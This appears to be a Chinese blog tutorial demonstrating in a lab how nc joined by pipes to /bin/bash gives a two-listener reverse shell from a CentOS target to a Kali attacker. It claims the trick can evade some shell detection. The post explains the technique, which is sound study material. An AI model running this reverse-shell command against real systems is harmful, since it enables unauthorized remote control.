nc 管道符的一種反彈shell姿勢

2022-07-22 18:54:10 字數 1973 閱讀 2277

**shell的姿勢有很多,網上師傅們也有整理了各種文章,知識面有多廣,姿勢就有多猥瑣,我就目前常見的簡單說一下:bash**、nc、php、python、telnet、ruby等,具體的使用方法網上都有就不細說了,下面說個我遇到的認為不錯的**shell的方法,nc+linux中的管道符**shell,嗯,據說類似的方法可以繞過某些安全產品對**shell的檢測。

攻擊機:kali2.0

192.168.128.133

目標機:centos7

192.168.128.149

kali上的執行的命令(需要開啟兩個終端分別執行)

nc -lvp 4444

nc -lvp 5555

如下圖所示:

centos7上執行如下命令

nc 192.168.128.133

4444|/bin/bash|nc 192.168.128.133

5555

如下圖所示:

此時檢視kali的兩個終端,發現已經顯示連線成功

這是在kali終端1上執行的命令將會在kali終端2上顯示出來,如下所示:

上面就是nc+管道符執行後的效果,那原理是什麼呢,我們常用的不是直接在攻擊機上**shell後直接在攻擊機上執行就行嗎?為何kali需要開啟兩個終端監聽?別急下面就來解釋下原因

我們把nc 192.168.128.133 4444 |/bin/bash| nc 192.168.138.133 5555 命令分解來看看

我們先來看看在centos7上執行nc 192.168.128.133 4444和kali上執行nc -lvp 4444是什麼效果

此時已經連線上,這時執行命令試試

這時執行命令你會發現不管你在哪一方的終端上執行,另一邊都會把你執行的東西原樣顯示出來,這種在nc中也叫聊天室,同樣的後面的nc 192.168.128.133 5555也是一樣的

/bin/bash在linux中就代表當前使用的shell(shell有很多,目前在這兒只說bash),| 管道符在linux中代表將管道符前面的結果作為管道符後面的輸入,在這裡解釋就是將在kali終端1上執行的命令在centos7上作為輸入執行

因此當我們在kali終端1上執行ls後,ls會作為輸入傳遞到centos7的bash上作為輸入,在bash執行完ls後會將結果又作為輸入傳遞到kali的終端2上顯示出來,總體來說這條命令真的很 」皮」。

類似的命令還有很多種,這條命令只是入門級別的,世間騷操作千千萬,很多還需要我們去靜下心去學習、發現

shell 使用管道符時變數的問題

使用管道符計算檔案行數指令碼如下 bin sh linenum 0 cat test while read line doecho line content line linenum 1 done echo line number linenum 輸出結果為 line content 1 line ...

shell中使用管道符需要注意的點

寫個監控採集指令碼有一處使用了管道符,執行結果出乎意料,特來mark下 結論 管道符和括號會fork出乙個子程序,如果在子程序的工作區間內呼叫exit則退出的只是當前的子程序,不會退出主程序 測試管道符 cat test.sh bin bash function work pipeline func...

Windows下生成shell的一種新方法

shell實際上就是一小段可執行程式,有 段 資料段和堆疊。只不過這段程式在記憶體中的位置只有在程式執行時才能確定,而在編譯時並不能知道,這就給我們的程式設計帶來了不少麻煩,資料不好定位與賦值。unix下的jmp call定位在我的vc上好像不太行 而資料的賦值一般用mov byte ptr ebp...